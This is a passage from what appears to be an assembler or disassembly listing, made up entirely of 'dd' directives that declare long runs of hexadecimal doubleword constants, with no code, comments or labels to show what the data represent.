4213E02Bh, 8908336Ah, 1431618Dh, 1BB82690h, 2232008Ch dd 0A4B08EDFh, 0AA90ACABh, 6E53FB24h, 60B3E519h, 16ED0E88h dd 0A733C128h, 0FCA51494h, 13C5BB00h, 61265CF5h, 4674E15Eh dd 60B21F14h, 0BA55C140h, 300F0B9Bh, 33230C82h, 216F759Dh dd 178B8D6Ch, 10D6B9C0h, 226757B7h, 0B6BB5C08h, 0CE301718h dd 0E8A061CEh, 896453F0h, 0BE0029C8h, 43ABAEA1h, 75185E62h dd 16370906h, 782F5880h, 2184229h, 9D89CF9Fh, 0F1240431h dd 1488718Eh, 2BCC87C4h, 0B38A00D6h, 0C0A8E99h, 5154B58Bh dd 7DA0E8D0h, 0E30079EAh, 529F4505h, 6BF6698h, 0E95E1C14h dd 0A500250Ah, 0E07B8D15h, 3F84D7DDh, 74A448ACh, 0ACEA3878h dd 70D11CDh, 5A49BE50h, 0DC04124h, 0CB1B11BDh, 6B37C1D7h dd 49EA5380h, 71BA9B0h, 81030C6Bh, 7B3D50C7h, 470EB3Eh dd 1AF92CB9h, 4A027318h, 0CCE66517h, 7D9582E1h, 0BD29002Bh dd 0CC12521h, 13C9858Dh, 0FE8B5000h, 24048912h, 1823003Ah dd 2EA72C00h, 0C45788E5h, 317D966h, 13E85Eh, 620C9C2Bh dd 0B7AD8A10h, 0D9B5630Eh, 531F8081h, 0E262CFBh, 9D01BBA8h dd 5F3EF13Dh, 0B28F336Ah, 0F6E83019h, 42AA6303h, 48FA8BDBh dd 0CE0CF346h, 3CFE59A5h, 7E41701h, 12999589h, 0C0837280h dd 6090F905h, 3A82AA90h, 8CC8A585h, 7800CE32h, 8663F27Eh dd 6218CFh, 0B25D74E4h, 0F42F84F8h, 75BBC900h, 9596B866h dd 50612459h, 0C8B40548h, 0C7470390h, 0E139926h, 32249531h dd 34419281h, 0B88A0F01h, 9D8D0275h, 67E3A393h, 601C649Eh dd 4E9776h, 0E7E567E1h, 0D3FF5D96h, 17D13491h, 97B8FB18h dd 1341E458h, 1F7B20FDh, 2742300h, 8B27E64Eh, 0EA2A11B6h dd 5D7EE850h, 46ED8115h, 0A20A53DAh, 0CA84301Dh, 0AF7CECE0h dd 179E520Ah, 0D509FF99h, 0DFEE902Dh, 0E1D8B134h, 0C201AD86h dd 407AD253h, 38D600Bh, 0EC3FC298h, 0E9C29DDCh, 1C009044h dd 0A22D29ADh, 1D1DD64Fh, 1EFA3D73h, 0DBBFC2CFh, 0F087BA6Fh dd 0AF2019B5h, 19D8B61h, 0F8FF1E58h, 0FA008C1Ah, 0F06D3CBAh dd 0B9E86A54h, 0D990389h, 80FCC186h, 5F0FD15Bh, 25E38138h dd 91E91D01h, 7F8914h, 6F2EF7Bh, 0B6DB4C0Bh, 0F92CC022h dd 0E04079E9h, 0C4AD99h, 6EE27565h, 0DF157FD2h, 0BCBD831Dh dd 0CA200264h, 1F488425h, 80161172h, 0E930D942h, 6423A793h dd 5A41601Dh, 54C40016h, 8CC5F8Eh, 8551C793h, 991755h dd 1E17B860h, 0E9379016h, 0A0805B27h, 16F141BEh, 0B9D328Eh dd 581186D8h, 0FBC948E9h, 37539B0Fh, 0B13B4D68h, 15A20323h dd 5C28A430h, 22231F9h, 59849190h, 370415E1h, 0DD102B0Dh dd 8B8FE604h, 313B8D8Dh, 5DD30h, 72FF2381h, 0E7D8E7FEh dd 0B8B605E4h, 9E84Ch, 5D9E9867h, 0C502D724h, 9501471Bh dd 5FB648B5h, 0DB8C2466h, 1846742Eh, 5F7C91Fh, 0E8C235h dd 0D92B561h, 977F2591h, 0CFB1601Ch, 5F4461DCh, 53E0C3F6h dd 1DE4873Ah, 0EF67067h, 6D0459FBh, 0BBFD812Bh, 884C51E3h dd 2C31D510h, 35A4B350h, 0F9ED6206h, 80F99A26h, 0A418F5A5h dd 257520ABh, 316FB04Fh, 0A5672100h, 2FC6EBDFh, 1060A65Ch dd 0E6132D5Dh, 23A33A70h, 3FB8801Bh, 0F7BEDE42h, 0C051A348h dd 56CF24D5h, 8E0F22CEh, 7148E4E0h, 8C17E8ACh, 227A791Eh dd 0EC63BCACh, 0EE77D19Ch, 98C3C7FDh, 0F25B2631h, 0D1F905E9h dd 0C769C902h, 0AB40FF2Ch, 0F5E2860h, 23D8B603h, 1A107DBDh dd 5306BAFEh, 52588EE2h, 135B525h, 4E8C1E9h, 14885B4Bh dd 80E9B3C2h, 63114509h, 59CA00AFh, 3637E17Eh, 9F0F138Ah dd 40C68850h, 66808230h, 70E264F7h, 0C3596151h, 874C89C8h dd 0C3514102h, 4037781Eh, 0D8492B2Fh, 0E5BC64h, 9D99303Bh dd 0C7076D7Dh, 9C20D44Ah, 156195Dh, 0C361B420h, 70FDEDA0h dd 0F0098B69h, 98241C89h, 504CFB69h, 272D845Ah, 253A2762h dd 15113A97h, 0E31C4184h, 19D6401Dh, 93901048h, 0B6305204h dd 7F2E6B84h, 0D40C1523h, 402D56F7h, 5C90FC2Ah, 51D12C4h dd 0CD813C09h, 3D024283h, 18DE8ABh, 1943A707h, 89DDF04Ch dd 295957BAh, 148FA252h, 0C514631h, 23259D29h, 0E930C3F9h dd 1F31B10h, 9868F4ABh, 0CFA40063h, 1B449DD6h, 30240524h dd 0BF8164F8h, 60D7EF03h, 9F663425h, 3AD6C0F4h, 711E8CCFh dd 4C5B6D21h, 8A2BDBBEh, 737C73D8h, 1D97589Ah, 5D811911h dd 0CD38F67Fh, 3DD4417Bh, 0B812225h, 0A96E880Fh, 0C00DCD55h dd 3060A158h, 0DE71B42Dh, 0B533044Ch, 209FE145h, 0D1A4862Ah dd 33A17EC4h, 0F50BC816h, 797AB898h, 9CEFD082h, 0A7F6DCD1h dd 1DF96D07h, 5F45514Ch, 0B9FCEBB4h, 1819F904h, 6A970072h dd 89C60736h, 15EBD9Dh, 28DA0C65h, 33655280h, 0B2889ACh dd 4D208D91h, 440BB606h, 0CF65548Ah, 45ECE77Bh, 66389780h dd 2C14010Bh, 0BE5BBFA9h, 0ACF96DEAh, 0F6008C18h, 0D8FB03Fh dd 905BF38Bh, 7E71F25Dh, 9D010B2Bh, 0D7650821h, 53593511h dd 0E9342820h, 0E73B1441h, 0B11E1623h, 8D293FC1h, 11750901h dd 0B615BA20h, 808CA1ADh, 49D5BFE3h, 0BFCA129h, 82FF673Ah dd 994D9BFDh, 0EBAEDA50h, 2419C488h, 0E6095E17h, 3F55E01Dh dd 13C2252Dh, 0CD051637h, 0E40A603Eh, 0F88B91A5h, 0F8FA1B61h dd 69BC02A2h, 8A37BA44h, 31358Eh, 9227070Dh, 0BD010D57h dd 686E1D11h, 0BF3EF29Eh, 2D1E00C2h, 0E800F91h, 49E919C9h dd 6EF05252h, 0D9720FD5h, 0CCB67480h, 8D7689B2h, 352D509Eh dd 90149191h, 1122F6h, 9D13F062h, 479CC7FFh, 1F01A575h dd 6F20175Fh, 81663769h, 3D8D0904h, 29900015h, 0D71C05BDh dd 805F9B0Eh, 317988A9h, 7389589Ch, 4C5564Ah, 1333F12Eh dd 4D34E01h, 0A0200B8Dh, 72C44C96h, 0AE1CC926h, 0E02DC53h dd 0B4B7E8BAh, 33EB813Eh, 283CB1BDh, 7FBC6C49h, 30EAA805h dd 0D2A61CDEh, 42515BE0h, 95A8B002h, 844581E3h, 0D28871FCh dd 85527B5h, 1A91799Dh, 2E7BA380h, 0F8283371h, 3D76A2DFh dd 1C5E5182h, 0EAF2408Fh, 0F209C92h, 86388E59h, 0B8D2FB1h dd 67E95EF9h, 0FBF86162h, 2C59AEC5h, 6A4B55B3h, 0C9A30B8Fh dd 64496D88h, 9FA26017h, 892F5929h, 0DD1C5D16h, 0F0D23641h dd 13EDEC2h, 0F5C71EA0h, 0CB8A0F1Dh, 805D235Ch, 0BDFCB87Bh dd 85AC0E6Fh, 90A9F339h, 37B06007h, 8BED4050h, 66F70AFCh dd 0BFD0F0D0h, 80FE0338h dd 31B52BE3h, 1148884h, 8F491242h, 340028BCh, 0C620F8DEh dd 0A0E86D46h, 0D3446Dh, 0A9BA09DFh, 0E294AF4Dh, 90259AB6h dd 2A757B9h, 0FC0FD0D3h, 0AEC005AAh, 196571B5h, 0C31E5F96h dd 76E42248h, 7B001A46h, 7F6036EDh, 890B7093h, 64070195h dd 3485EEA7h, 0A11226E1h, 4504119h, 0F1E56624h, 6BF06DA8h dd 0C4AAA767h, 0EEE601Ch, 187007E3h, 6DF5151Dh, 0B8882D48h dd 0FBEF01ABh, 34551348h, 0ADF08B75h, 1E56E28h, 0CBDB13BFh dd 78890F75h, 6EF2CB2Dh, 0C442A5EDh, 0E9386018h, 7E5309F4h dd 3D05D3FFh, 9DBA56B9h, 0A82979D0h, 12AE853h, 19FEE3DCh dd 6C075CE9h, 2215B1CFh, 0AC642C09h, 0C9258C15h, 88966728h dd 8B86EA86h, 2CFE99Dh, 6680D781h, 4ED93E33h, 451E33A4h dd 0BD33B4E0h, 0DAF8185Dh, 83586D90h, 91202DB3h, 6610113Fh dd 8CB8AABEh, 12606244h, 5FA59D09h, 35C96EFFh, 0A08A33Ch dd 60C810Fh, 0BD068B08h, 0ED9BCF81h, 0DC66517Ah, 771293DEh dd 0F79E34E9h, 0F7850AC0h, 0B4240530h, 1D08D453h, 4F5F1414h dd 0F948229Ch, 1FE92F4Bh, 851511EDh, 0BB34FEEh, 88059A40h dd 0BC16DBBEh, 0FB86187Ch, 21C716EAh, 41CD88B9h, 0A100538Ah dd 1816517Fh, 0F7A94C65h, 40F9E92Eh, 0F2B25FD4h, 8218EF00h dd 0C64D7658h, 2A4126A9h, 8A3A650h, 0E90D10C5h, 6F4E73ADh dd 6C51788h, 51371EC2h, 78D40034h, 0FB16BB14h, 4A2D810Eh dd 0B50301B0h, 0D26823F1h, 80F49AD7h, 6FF7AA06h, 9E390026h dd 3FBE168Ch, 7F16C7E0h, 8F3071E4h, 14E766Bh, 60199FD2h dd 3C1142F8h, 0B5890B46h, 0B1229325h, 9E691D61h, 0FE5E0992h dd 10124AE1h, 9BADA6h, 7BA9D0DDh, 2A467D8Ch, 14CF801h dd 7EE82B4Eh, 9EF65270h, 4909274Eh, 1DC101CDh, 0D8D869D0h dd 0FB8B27E9h, 1691439Dh, 0CB43B980h, 0D92D8589h, 1CD5A40Dh dd 50990292h, 0D6649EBAh, 8021446h, 209BD89h, 455A865Eh dd 6114C44Ch, 6F2AB0EFh, 4AB80048h, 7212C1AEh, 0ED6C7F40h dd 10443921h, 78B80AEDh, 2FD9EB00h, 85312CB3h, 23A6A8F9h dd 6152DB5h, 3FBCA31Bh, 23091423h, 0F85308FCh, 0DE109F4h dd 0BF90E85Eh, 0E00E583Ch, 40B5F2D0h, 6B2147A8h, 0BD3117C2h dd 5F67495Dh, 31617D1Ah, 29C1290Dh, 17D1DFC3h, 0DE123618h dd 8521944Ah, 0D3F5C681h, 3D418A25h, 6A6922F5h, 25CD7462h dd 0F9315803h, 796815FDh, 356B5CC8h, 8961808Ah, 0CBC6FF96h dd 0D2F4E216h, 85B6689h, 12217CC0h, 4C585492h, 50522E2h dd 0A4647EBFh, 2E8BA10Bh, 48003A6Eh, 3E2379AAh, 29485E56h dd 3DC945A6h, 0A4D4218Fh, 1C465CD9h, 0DE8CC600h, 0B718EAC0h dd 606BE413h, 61965D1Eh, 2EB69184h, 0B3F3DDE0h, 6C39907Eh dd 118C2DA1h, 3E3E638Dh, 1A2309h, 0EBA2B1B4h, 48595A5Bh dd 0D888939Ah, 8ECC0545h, 0C05B90A7h, 8969145Bh, 0B19D25h dd 81C32B17h, 11BA0BCEh, 884C2AE1h, 5601344h, 6DBD01FCh dd 0E970D22Eh, 0F2B82F64h, 0CF5EF739h, 0A5CD7030h, 0CA5A000Dh dd 5087D206h, 441D0580h, 70096443h, 0A115F90Ah, 181971D8h dd 1B2D0558h, 0C4787A6Fh, 551A968h, 7F35FB9Dh, 5A80A59Eh dd 2D019D95h, 0A85FCA1Dh, 96BD8D4Fh, 0BE50D790h, 19B10BE4h dd 58475E71h, 1DFC5F90h, 74AE0B8Ch, 0DD02642Fh, 0CEC22E23h dd 4370576Ah, 6D033A9Fh, 65156007h, 0A00258FCh, 7163D328h dd 0F1FBC02Eh, 0DA6A8220h, 0FEBC816Ch, 64C96226h, 0EFF4004Dh dd 0F0D3472Ah, 0D7260EDAh, 311C68BFh, 905E2460h, 195D083Bh dd 0A1116E24h, 1AA2FF43h, 6273230h, 0DFF1A057h, 212C5CC7h dd 467CD51Eh, 68C90317h, 31F92B2Dh, 9BEFBFAh, 0E07D541Bh dd 0C1A8AD67h, 0DDEE0B60h, 8DD11A62h, 6194A555h, 1D23692Eh dd 5EB8BD00h, 9E64C6h, 0D9EA0371h, 0CB9CCABFh, 0E22A2F52h dd 0A9143018h, 0FFA171Ch, 1D2D824Dh, 0DC8F6C20h, 0E480050Dh dd 0CA4780A1h, 61243F13h, 0CF40E2E8h, 14A6DFEh, 0ECB116C1h dd 2013A84Eh, 77E8A246h, 1508114Ah, 9D5F142Ah, 149CAD0Bh dd 0E2C01D4Dh, 0B87D75CEh, 0BE57949Bh, 0A528BE02h, 0C97C6AB9h dd 5E030E10h, 0FFF8B3E9h, 70A28Ch, 2E83FDEh, 5F0863Ah dd 8BD64CB7h, 0D89884C1h, 2C6589E7h, 79A15E5Fh, 13E01E37h dd 9400B2E1h, 0F5DC8407h, 4AF38BA4h, 239340E8h, 37951452h dd 180B0A00h, 0CC87BEEEh, 1E5F0050h, 29631CC4h, 9892E59Dh dd 0A21C33F7h, 0C2F8331Bh, 470BC886h, 4227B701h, 0D859DBBAh dd 0B57129EAh, 68352FE1h, 0BE0059E2h, 0E165B8BAh, 16C0584Ch dd 0CBFE05F2h, 0E6D5243Ah, 0A6D0B5C7h, 39BAF027h, 33E2597Ah dd 2B4CD260h, 0AE9B07E4h, 9C1978h, 70BDCFD1h, 0A4E71352h dd 0EE816001h, 332F1E1Ah, 16D08620h, 8561723Ah, 4173046Ah dd 0E7900E1Ch, 0D94950FEh, 9F37009Fh, 0E97FFB54h, 0C7359097h dd 0F1040EECh, 87E95F7Bh, 39E86191h, 0EF6E004Ah, 0B28A1FC4h dd 33B09F0Fh, 2D248D29h, 8A690811h, 80C854C9h, 0BDDB00DEh dd 0EE46F9E4h, 5E2DBC9Ch, 795C1AA2h, 0B85A04Eh, 0F8C70AF7h dd 0A9BD3440h, 9A961043h, 0D1B080E8h, 1227DAFBh, 0B309054Fh dd 581C4EB2h, 16E92760h, 561210E7h, 1523053Fh, 0E4541409h dd 0D83D0010h, 12A469AAh, 0D702E557h, 334BEC5Ch, 0E253D1BAh dd 0E9050159h, 6544E4h, 83B334EBh, 0F164AF9Dh, 0E507DB7Fh dd 8BA12009h, 6CD475B4h, 3AE085A6h, 1316BBBFh, 829C0C83h dd 2818418Dh, 0DA948074h, 99A1Ah, 6823E32Fh, 0F56F34B7h dd 95525F5Ah, 6E6FDDF5h, 4B6600ADh, 0F6D38DFDh, 0F9DBA034h dd 0BD83802Eh, 11297E2Dh, 0E911229Fh, 0A40BBD5Eh, 9849F78Eh dd 12435C3Bh, 0B32B37BCh, 61C6D388h, 6BB09E5Eh, 0E934E758h dd 0C4DB112Fh, 8E428FC0h, 1C0579BDh, 0CE01CC06h, 0A8083727h dd 0CFE68294h, 51EA603Ah, 0FD986F63h, 0AAB7B6D3h, 65F21156h dd 1CF50640h, 6BC0482h, 9B50B42h, 0C29E51D8h, 0E4DEC924h dd 0ADCD2DA4h, 0A777DC11h, 166B3721h, 6DF89D5Bh, 5AD5A827h dd 68288821h, 0B7005B78h, 0D86204C7h, 58E5CF89h, 7C90609Fh dd 0B8C15B8h, 8D89834Eh, 0F7E94D90h, 0B1F643D2h, 93273EE0h dd 0C000B87Dh, 2E08A1F0h, 481F18Bh, 4DDF60E6h, 1E77ED2Bh dd 70D73D53h, 0BBE01EB6h, 0EA944A60h, 0E271E409h, 708EDBA6h dd 0E87E0E25h, 0A947C704h, 94F23CC0h, 0BCB8535Dh, 0EB606207h dd 0B77B8BE1h, 89608154h, 3E2CED85h, 5BF0E826h, 0B63912FBh dd 0B427E056h, 3854002Eh, 2B81213Dh, 5071FCD8h, 2B0BE930h dd 9A9C0Ch, 281875FBh, 98B23D7Bh, 28045E5Bh, 5CE48A0Fh dd 9BB9E8h, 0FCCCF348h, 0FD00E3F1h, 749BFE55h, 0F93B41Ah dd 0B70F5C57h, 0C0665FC9h, 6EFE14CBh, 0D41B9C22h, 2EB7C201h dd 0FAC1C6B5h, 0F38C7C70h, 93B01CC8h, 5FB5D065h, 0BCD2ED00h dd 0BAD86DB4h, 598B8292h, 43C6E06Dh, 2356A190h, 325A4678h dd 911F3B27h, 0A979801Ah, 2DD19842h, 2C9FA293h, 58801811h dd 1B090E34h, 11A48291h, 0A4906D17h, 28156C3h, 3C6663D6h dd 4E4A5F71h, 0C8828B37h, 4AF5FF9Fh, 0DCE0546Ah, 13CB1D01h dd 871434CEh, 207A6Ah, 0B3BB5F53h, 0B146D78h, 5815D8DEh dd 3C802937h, 3BEC560h, 5592DBDh, 6F457399h, 277F417Bh dd 9842F98Bh, 0B9721070h, 11AC1F95h, 0D88A801Dh, 0E6D11621h dd 3237164Dh, 816CC46Ch, 6D0109D4h, 0CFE82D48h, 0F7DB6034h dd 0AB7699B6h, 50EEB200h dd 0BA666021h, 9C70997h, 4AB8595h, 9D935046h, 5F282A59h dd 32D41680h, 960004BBh, 9AB1FC0Ch, 2D3472FEh, 5C9126F8h dd 0F4DE2A73h, 61E00FC0h, 3F0187B7h, 899B3E5Bh, 162ED59Dh dd 500662A2h, 8AC38EE2h, 5B5ED0EFh, 7160B533h, 0B941BF11h dd 2B451CE8h, 0A9BD8BC3h, 0FFB75F48h, 19C466B6h, 0C1AE5652h dd 6BF557BFh, 0BABCDF24h, 492704D3h, 7F32AB15h, 0B403DAE5h dd 0BE66005Ch, 85C7FBF8h, 0B39CA395h, 311CD053h, 1B2128BDh dd 49B8120h, 0D02D3816h, 0B71E9E13h, 123772A9h, 84EAD589h dd 58AA8DD8h, 5FEFEC69h, 0F05B8BE4h, 0E4F21E35h, 0F3AFA20Fh dd 0C4DB06A0h, 71000FFBh, 7CA11C22h, 59981805h, 1A944767h dd 3317E8C0h, 2B3B27C6h, 0B5368FB3h, 6C9AE2DEh, 9858CC9Fh dd 40793B36h, 0E6904212h, 63EEE06Bh, 0ABCD0462h, 0ADF78B77h dd 0BEDDB8CFh, 90EB2056h, 31EB805Fh, 2E552D85h, 0BEFEF920h dd 0AB1E9F7Ch, 0E32C0F06h, 3DE058h, 269F39D9h, 7C814869h dd 9EBD6507h, 464CA868h, 935E48F0h, 128C16E8h, 0B62EA333h dd 8675E095h, 32571379h, 0F4D6C94Ch, 0B2711FFCh, 0D159C700h dd 0C68FA362h, 42D7005Bh, 8493BE86h, 0C69649E8h, 0CC053840h dd 183F00CEh, 50710DF2h, 1D3BF64Ah, 0A0BE0153h, 419D0156h dd 0D948ED6Ch, 5F073B6Eh, 0B50320FCh, 56BC21ADh, 7E4B00F4h dd 0C0F5E0E3h, 6280EDBh, 9120DD5Eh, 0F0E92728h, 2A8987C1h dd 48B9D427h, 68DAFADFh, 0F001D254h, 0EA9E6BE9h, 0FC9B100h dd 33C23F5h, 0B3986A84h, 26D0E1FBh, 8200546Eh, 77CCE6A0h dd 0F7D94Eh, 6D51233Dh, 0E4C799B3h, 40122C00h, 0A686A05Ah dd 199800BBh, 6521D66Eh, 2B1F59F3h, 889F8B45h, 0D2ECCEh dd 5D5B601Ah, 0B8BD0577h, 0F31655h, 0DD29BAB0h, 681C3FF9h dd 2E800F15h, 0DFFE7176h, 0CD1A00B3h, 0D09B4924h, 0F87655CAh dd 75866F00h, 0FB197811h, 0D17C07F5h, 20CFD5CCh, 0E41B35EFh dd 12230A00h, 0E579B977h, 832E1F4Dh, 58F85E7Eh, 72C5746Dh dd 0CFC1C730h, 60B3D615h, 25781DFEh, 0EB00BD1Fh, 4D4B5008h dd 0AAAF69h, 2C719DB4h, 3681ECEh, 0DED7DB12h, 3000AFECh dd 0B10E8389h, 0C5008467h, 637D28E0h, 0F669522Ch, 0B85C00ACh dd 943E610h, 0E90E9B46h, 43454B05h, 0E0A6AB65h, 6FD0E104h dd 5301844Fh, 80A40A4Dh, 5A12F711h, 18755755h, 6C43B6BBh dd 140F456Eh, 622561BFh, 0FC4E5434h, 0C3989400h, 0E9A18400h dd 3D42EDE4h, 0BAB9F62Ah, 0E13E6F03h, 11EA5F8Bh, 17838h dd 85442BC2h, 0FEE1E69Eh, 3C3A003Fh, 9A989D55h, 0F400F9B1h dd 0A5F74C81h, 16EC06BEh, 7A341Ah, 6487C6DFh, 64DCA14Dh dd 4BD2D640h, 1C42F526h, 9FBFC55Bh, 0E61240E3h, 0DCC06834h dd 0AE1E2200h, 0DE2B31B2h, 41F900E0h, 0E9C8EB2Ah, 2900B9BAh dd 0EF3C4295h, 3550FF1h, 476B5250h, 21078D24h, 0E6EB96E9h dd 0A7F29D30h, 0C8940037h, 8DD02DE2h, 0CB0E2871h, 9FE59F81h dd 19D1BA40h, 126B1D14h, 1CC7CC84h, 30EA8F2Eh, 0A35D3F80h dd 0A100A79Eh, 0B9715654h, 1DF758B4h, 0A816449Ah, 91412297h dd 492B8B09h, 0ADAA0823h, 0CF7ACD80h, 39F79B8h, 3FAFFB9h dd 1F00A908h, 2F7C82D5h, 1944C31h, 8AE71C8Fh, 0D0A45E40h dd 17F2D6B8h, 7830190Eh, 0A0CCA073h, 0ABFB7Dh, 7258DF38h dd 92070DB8h, 31913D48h, 71DC90BCh, 65DC414h, 9A4769EFh dd 4C788F00h, 0EF30FE3Eh, 0ACB200DDh, 0C67E615Fh, 4D1070AFh dd 1A000F64h, 742C15C7h, 2324216Eh, 80009A3Dh, 0E1DFE49Eh dd 2190FAh, 48A56646h, 0B7621CFEh, 0C700D174h, 0C2D99375h dd 1701496h, 604C3D2Eh, 20FEF85Ah, 87128C27h, 0C406E40h dd 8D924A2Dh, 0EEA6098Fh, 8500EBE9h, 0AE6F4F46h, 0E50E5101h dd 0C5015FB4h, 84EE4F24h, 462B3800h, 0FFE3A287h, 49400F45h dd 0F700999Eh, 540EF4F2h, 2C594F00h, 0E8A085D7h, 67EFCCEh dd 486BAAC1h, 15008569h, 702A10C2h, 74CC0B6Ah, 1D47658Dh dd 0E18C5D2Fh, 0E2051C02h, 0A7E2A4CFh, 5F0BB480h, 2E5A059Fh dd 0BA987F59h, 52495A00h, 26350DA2h, 8076102Fh, 5036DE29h dd 0D00FA3C0h, 72D32ECh, 0A520858Bh, 0FFD1EBh, 135A5F19h dd 21DA2A9Ch, 999A18F2h, 0BBC07800h, 0F83B98C5h, 0A70F312h dd 0DC941C77h, 3CF680D6h, 0AD674B25h, 0ABB1A80Fh, 0D791E049h dd 54EED4D2h, 0C789C02Dh, 80EFE66Ch, 0C3A88299h, 0E8FCB200h dd 0F57EE24Eh, 0F7FA4Ah, 3AE9468Fh, 0DAA4A00Eh, 56DD2637h dd 0F711CB20h, 64ED0219h, 40653D4h, 0D150CCA0h, 0D90AF04Fh dd 8B8720B6h, 573C9601h, 0DD20F49Fh, 3751000Bh, 0AEC57F65h dd 7BEC4C6Fh, 0F8E4EAC0h, 3F02A68Eh, 5B0085DCh, 240A0855h dd 140C536Ah, 2A8BC0F1h, 765C00B6h, 0BE0B11BCh, 0B0000D56h dd 0ACC68066h, 0C9FF90CEh, 157EBB96h, 4ED10580h, 3FED8EFh dd 0F8575D15h, 45A8FCD5h, 2F008256h, 0A25C3E18h, 14A0A69Dh dd 0FBA50C53h, 7C8A900h, 1A1B06AAh, 0F1E00300h, 4DD6455Eh dd 3A9EEFAh, 2E32EACFh, 3AB03165h, 87198DDDh, 0F37D7B5Dh dd 41E4894Ch, 207C8A4h, 641E0400h, 0D192784Ah, 86310EEBh dd 9CEC3A81h, 441DF9E6h, 0D60C38EFh, 0B8A315DBh, 396AE44Ch dd 0A68096B0h, 0A4F7289h, 26007E8Eh, 57D01844h, 26C543DEh dd 58F5256h, 80DB3646h, 0C11644Ch, 697DA900h, 35FF41EDh dd 93C24CC8h, 2523280Bh, 817F0480h, 0F300DA9Bh, 8D8B903Bh dd 0F0EAEFA9h, 3A9700CCh, 0C3204DF7h, 3258F11Fh, 603C4CA7h dd 708ADDDAh, 6000B176h, 2B947CD0h, 0D780819Bh, 0C1A781C0h dd 0BE010007h, 2E5E919Bh, 9DECA0F3h, 0E3FDB701h, 674A6DACh dd 390F2D74h, 914DB6BCh, 5D88B400h, 0FB4C8B38h, 51F6200h dd 49B5A6AAh, 0FF421748h, 376700BEh, 0C5EB3E8h, 0DE0013ECh dd 0B4FAF05Ch, 248620Dh, 0D1D69076h, 0FE8F2F6Eh, 0F6186580h dd 53175812h, 6547855Ch, 0F725DAE0h, 475A8691h, 0F2FBAEFCh dd 954000ECh, 0F2AC9290h, 0A3E0C1EDh, 89B66007h, 0BA617D34h dd 1CC9FC02h, 52F23949h, 24390013h, 89432B66h, 0BDB88684h dd 3DE3E138h, 61450048h, 0C2A4A2A7h, 5030008h, 66646923h dd 0C07BC57Dh, 2025DD04h, 0D8C03B22h, 1289516Dh, 0D7C181E1h dd 60E9C7C9h, 8B240C87h, 9A68CCE5h, 7B893040h, 1456743Ch dd 1AC681E6h, 6EE5076h, 24341787h, 682F805Ch, 0E41D3386h dd 468D5F07h, 589A4906h, 1C012281h, 0E7EC8358h, 0BAF914F3h dd 1198F08h, 5A3A43C2h, 55303B8Bh, 0C581E58Ah, 2043BB3Fh dd 86FF612Ch, 0F8C4835Fh, 473DEFE9h, 68098FFCh, 0B8D0216Dh dd 9A8F3874h, 0E0A0C503h, 7BA3E82Ah, 9BC4B31Dh, 9DCBB900h dd 0B569258h, 0C18B632Eh, 8E702373h, 0F251006Bh, 9E5CDCCh dd 997A99Dh, 82B8596Fh, 8B9BE66h, 0DD705E7Bh, 318D2729h dd 800F3002h, 6425CFF9h, 0C764C07Dh, 8B6090B4h, 5A61D125h dd 0F8E1F365h, 0BD897C85h, 966CECCDh, 0EE056E6h, 877D26B5h dd 91810F27h, 11DDBD26h, 0A7289806h, 0B79DC23Ah, 0D89000B3h dd 7E10F687h, 21E55AC4h, 2EF8DC19h, 0E48B5956h, 0F5C018C8h dd 50BF8502h, 40D5D887h, 503D901Fh, 248CAE52h, 310F4D00h dd 16FDEBEh, 585A3992h, 47F78B50h, 128CE5B0h, 2F06CD7Ch dd 0BF668B01h, 0C9DDF7Fh, 7A7C0281h, 405C3485h, 0D191736Bh dd 0C3B1814h, 2DA59589h, 0D35BFF56h, 0B81F8DBh, 0C89C8FD9h dd 0D12C539h, 7EE3FE8Bh dd 1B3C3B51h, 16F025CEh, 9CF3E2E9h, 193AB184h, 3C2EF3EAh dd 8B882C2Eh, 87514ABDh, 0A19D61E7h, 85DE3B16h, 9CDAEE80h dd 6913B9E8h, 0EAE28BE9h, 4BF7A74Bh, 69803FDAh, 6B27868Bh dd 0F518D813h, 802F23C9h, 2D285AF6h, 2C3CEB00h, 254EB3F1h dd 3BB2091Eh, 65043357h, 515E0930h, 0E40D00E5h, 50E10109h dd 0B43F5A02h, 5CF816A6h, 5077915Fh, 0D250FDF2h, 0BD1283A9h dd 3DE23936h, 6C4F4E2Dh, 79121E60h, 0DC3C2D7Bh, 3AC9910h dd 70CEF703h, 0F31EE7DDh, 7CA88A17h, 8D89624Dh, 0E9852377h dd 533B272Bh, 639CB970h, 0A207108h, 2E5B85C7h, 0F78180E6h dd 302DFE79h, 0F8391195h, 24C21649h, 290E8C8Dh, 2E20A7A1h dd 40572972h, 97DBB7C1h, 8554BE6Ah, 484B27DCh, 2D25A278h dd 2704C7D7h, 5740E9CDh, 2FFCF3F8h, 31A23AEh, 554092FCh dd 13F0FC3Dh, 0B803B5ADh, 505EC5CAh, 0F3CBB4EDh, 9A53C829h dd 64FEDA70h, 0F8F148B2h, 4BD48030h, 7F5ABDBh, 0CC493E19h dd 5D5AFED2h, 34420F98h, 9F9A8800h, 0AF3DE51h, 0F72A07FFh dd 23B017EFh, 0A7A48Bh, 154DB529h, 600024BDh, 23841A87h dd 9661F504h, 0E4242322h, 0DECE71h, 60E8ADB5h, 0A56E9FF1h dd 171242BCh, 0E3D87FA1h, 161E2572h, 0F8176444h, 0F19BC38Bh dd 8660A780h, 0DF3AF07Eh, 0CEAC754Ch, 0E2CC0B95h, 70EBF384h dd 852D29ACh, 0F82142ADh, 78D99B87h, 0C5E6B4CAh, 0CF813F00h dd 7A78B2B1h, 9BD85F2Bh, 780C80CCh, 0B00DD71Ch, 18E2286h dd 1047F958h, 611206DDh, 9DC50393h, 0FB150F5h, 388A728Ah dd 5E5F9253h, 16AC37B9h, 0D4CF138Ch, 0BD9311A5h, 0B9EFA8Ah dd 4AD310A9h, 9F7D78A7h, 3822646Bh, 0B5890D06h, 2BBD2D9Dh dd 0CA03147Ah, 0E5CB4FEDh, 3B0884B0h, 62F73558h, 44146578h dd 0CB109D83h, 5D00FFF3h, 0A936045Bh, 382BA051h, 0AAA4826Ah dd 0F34D2D87h, 37D659C0h, 69680495h, 0B992254Ah, 1ED102Dh dd 330DE919h, 809FEC95h, 8B42FA0Bh, 34C30121h, 9E25D793h dd 25FDE141h, 0DAD88103h, 395E014Fh, 21B51F8Ch, 192C1361h dd 884F0B11h, 1A055218h, 9BA886A2h, 8E4111E9h, 16F6F55h dd 3CA4E03Dh, 0A851163Dh, 766D5102h, 58A9E1B6h, 4080FB7Ch dd 0C16A8824h, 0AC73B600h, 476763C9h, 8BB2586h, 1046DE69h dd 0B707B9F8h, 0B9376BDh, 0E21D2FF9h, 24B5D619h, 13BEA8ACh dd 0A2AC8C0Fh, 0BDCBE7A0h, 